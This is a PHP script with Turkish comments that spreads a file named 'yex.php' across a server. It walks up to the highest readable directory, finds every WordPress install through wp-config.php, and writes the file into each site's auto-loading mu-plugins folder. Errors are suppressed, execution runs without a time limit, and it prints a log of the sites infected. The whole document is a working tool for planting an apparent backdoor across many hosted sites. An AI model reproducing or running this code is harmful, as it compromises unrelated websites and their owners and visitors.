<?php
set_time_limit(0);
ignore_user_abort(true);
error_reporting(0);
$sourceFileName = 'yex.php';
// 1. KAYNAK DOSYAYI AL
if (!file_exists($sourceFileName)) {
die("Hata: $sourceFileName yanımda yok!");
}
$sourceContent = file_get_contents($sourceFileName);
// 2. ÇIKILABİLECEK EN ÜST NOKTAYI BUL (Kök Dizin Tespiti)
function getRootPath() {
$path = __DIR__;
// Sunucu köküne (/) kadar veya izin verilen en üst sınıra kadar çık
while (@is_readable(dirname($path)) && dirname($path) !== $path) {
$path = dirname($path);
}
return $path;
}
$baseDir = getRootPath();
$log = ["[*] Tarama kök dizini: $baseDir"];
// 3. AKILLI TARAMA FONKSİYONU
function smartDistribute($dir, $fileName, $content, &$log) {
$items = @scandir($dir);
if (!$items) return;
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$fullPath = $dir . DIRECTORY_SEPARATOR . $item;
if (@is_dir($fullPath) && !is_link($fullPath)) {
// SADECE WordPress bulduğumuzda işlem yapıyoruz
// wp-config.php varsa bu bir WP kurulumudur.
$wpConfig = $fullPath . DIRECTORY_SEPARATOR . 'wp-config.php';
if (file_exists($wpConfig)) {
$muPlugins = $fullPath . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'mu-plugins';
// Eğer mu-plugins yoksa oluştur, varsa içine yaz
if (!@is_dir($muPlugins)) {
@mkdir($muPlugins, 0755, true);
}
if (@is_dir($muPlugins)) {
$target = $muPlugins . DIRECTORY_SEPARATOR . $fileName;
if (@file_put_contents($target, $content)) {
@chmod($target, 0644);
$log[] = "[+] WP SITESI BULUNDU: " . $target;
}
}
}
// WP olsun ya da olmasın, her zaman derinleşmeye devam et!
// Böylece iç içe geçmiş klasörlerdeki veya alt dizindeki WP'leri kaçırmayız.
smartDistribute($fullPath, $fileName, $content, $log);
}
}
}
// 4. BAŞLAT
smartDistribute($baseDir, $sourceFileName, $sourceContent, $log);
echo "<h2>Tarama ve Dağıtım Bitti</h2>";
echo "<pre>" . implode("\n", $log) . "</pre>";